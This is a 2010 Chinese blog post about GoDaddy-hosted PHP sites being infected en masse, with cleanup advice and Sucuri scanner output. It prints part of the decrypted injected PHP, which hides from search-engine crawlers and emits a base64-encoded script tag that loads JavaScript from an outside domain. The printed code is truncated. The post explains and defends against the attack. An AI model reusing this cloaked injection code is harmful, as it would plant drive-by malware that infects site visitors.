网站观察 — 杜夫 doff's blog

Site clean up by http://sucuri.net
This script will clean the malware from this attack: http://sucuri.net/malware/entry/MW:MROBH:1

If you need help, contact dd@sucuri.net or visit us at http://sucuri.net/index.php?page=nbi

Malware removed.
Empty lines removed.

Completed.

—— – - – - – ——— – - – - – -

昨天关于临时处理的部分：

如果网站被挂马，首先要清楚是挂在那里，虽然木马都是使用js ,而且一般就放在尾部(footer)，但是挂的方式有很多种，

godadd空间最近发生的事来说，是在php文件中植入了一个加密的php代码，通过这个代码在footer写了一个js，具体请看前一篇，

那要怎么处理？

首先，你应该保护你的会员，可以把域名转向到其它IP，或网址，让中招的网址无法访问，

做为站长，你不能让你的会员因为访问你的网站而中招，

但今次因为其中招的主要是php文件，静态文件并没有中招，我们可以删除php文件，你现在应该做的是把根目录（首页）下的所有能访问到的php文件删除，如index.php thread.php

注意,discuz的配置文件是在根目录的，不要删除配置文件，我就一不小心删除了，到时可能要重新安装新建一下

Tags: godaddy, 挂马, 挂马处理, 空间

网站观察 | 2010年05月12日 | Comments (4)

godaddy空间大面积被挂马

下午觉得有点奇怪，我在ubuntu里怎么也出现查杀病毒的信息，看到下面这个图片，我还以为真的是我的电脑有问题（因为同时开着xp虚拟机），后面出现要下载的，想想不对，就看了一下那个网址，

因为我只是打开了firefox上次打开的网页，而且都是我自己的网站，所以还是不太相信，就刷新了一下自己的网站，发现竟然被挂马了，，

一网友的截图

我原以为是phpwind代码的问题，到里面看了一下，发现里面的模板并没有问题，又到首页把index.php换了一下，发现还是没有用，可能是感染了好几个文件

后面想着可能是godaddy空间的问题，到idcspy的godaddy版块一看，发现N多的朋友在说这件事，

真是郁闷啊，

他们是在php的头部加入了一个加密的php代码,解密之后就是这

<?php
if (function_exists(‘ob_start’) && !isset($GLOBALS['mr_no']))
{
$GLOBALS['mr_no'] = 1;
if (!function_exists(‘mrobh’))
{
if (!function_exists(‘gml’))
{
function gml()
{
if (!stristr($_SERVER["HTTP_USER_AGENT"], "googlebot") && (!stristr
($_SERVER["HTTP_USER_AGENT"], "yahoo")))
{
return base64_decode(
"PHNjcmlwdCBzcmM9Imh0dHA6Ly9pbmRlc2lnbnN0dWRpb2luZm8uY29tL2xzLnBocCI+PC9zY3JpcHQ+");
}
return "";
}
}
if (!function_exists(‘gzdecode’))
{
function gzdecode($R5A9CF1B497502ACA23C8F611A564684C)
{
        $R30B2AB8DC1496D06B230A71D8962AF5D = @ord(@substr
($R5A9CF1B497502ACA23C8F611A564684C, 3, 1));
        $RBE4C4D037E939226F65812885A53DAD9 = 10;
        $RA3D52E52A48936CDE0F5356BB08652F2 = 0;
if ($R30B2AB8DC1496D06B230A71D8962AF5D & 4)
{
          $R63BEDE6B19266D4EFEAD07A4D91E29EB = @unpack(‘v’, substr($R5A9CF
//……..
?>